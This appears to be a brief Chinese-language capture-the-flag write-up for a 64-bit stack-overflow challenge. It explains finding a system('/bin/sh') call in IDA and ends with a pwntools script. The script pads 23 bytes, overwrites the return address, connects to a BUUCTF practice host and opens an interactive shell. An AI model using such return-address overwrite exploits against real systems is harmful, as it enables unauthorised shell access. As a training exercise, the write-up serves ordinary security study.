64位栈溢出,没有开启任何防护

用IDA打开然后发现这个程序有system函数,于是按x来查看引用

image-20200902155148286
image-20200902155203133

然后发现它调用了system('/bin/sh')

于是只要将ret addr覆盖成这个地址即可

image-20200902155255434

这个题目比较坑的位置在于pwn1这个程序直接运行会回显please input,但是使用nc连接的时候没有这行,所以直接sendline即可

1
2
3
4
5
6
7
8
from pwn import *

pads = 23*b'a'
payload = pads + p64(0x000000000040118A)
r = remote("node3.buuoj.cn", 25790)
r.sendline(payload)
# input()
r.interactive()